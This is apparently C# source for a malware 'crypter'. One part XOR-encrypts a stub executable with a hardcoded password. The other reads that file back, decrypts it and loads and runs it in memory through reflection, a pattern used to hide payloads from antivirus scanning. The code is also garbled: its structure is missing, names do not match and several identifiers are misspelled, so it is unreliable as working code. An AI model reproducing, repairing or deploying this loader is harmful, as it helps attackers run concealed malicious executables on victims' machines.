using System.Collections.Generic;
using System.Threading.Tasks;
static void Main(string [] args)
Console.WriteLine("syntax: Crypter.exe <Stub.exe> <Zeon1207> (Optional: Encrypted Stub.exe)")
String outFile = "EncryptedStub.exe";
Console.WriteLine("[*] Reading Bytes");
byte[] plainByte = File.ReadAllBytes(file);
Console.WriteLine("[*] Got Bytes, Encoding");
byte[] encodedBytes = encodedBytes (plainBytes, pass);
Console.Write("[*] Save to output file");
File.WriteAllBytes(outFile, encodedBytes);
Console.WriteLine("Done");
Console.WriteLine("\n[*] Encryption Success")
private static byte [] encodeBytes(byte[] bytes, String Pass)
byte[] XorBytes = Encoding.Unicode.GetBytes(pass);
for (int i = 0; i < bytes.Length; i++)
bytes [i] ^= XorBytes[i % 16];
using System.Collections.Generic;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
RunInternalExe("Encrypted.exe","Zeon1207");
private static void RunInternalExe(string exeName, string pass)
if (!FIle.Exists(exeName))
byte[] resourcesBuffer = File.ReadAllBytes(exeName);
byte[] decryptedBuffer =null;
decryptedBuffer = decryptedBytes(resourcesBuffer, pass);
if(Encoding.Unicode.GetString(decryptedBuffer).Contains("</assembly>"))
Assembly exeAssembly = Asssembly.Load(decryptedBuffer);
object[] parameters = new object[1];
exeAssembly.EnteryPoint.Invoke(null, parameters);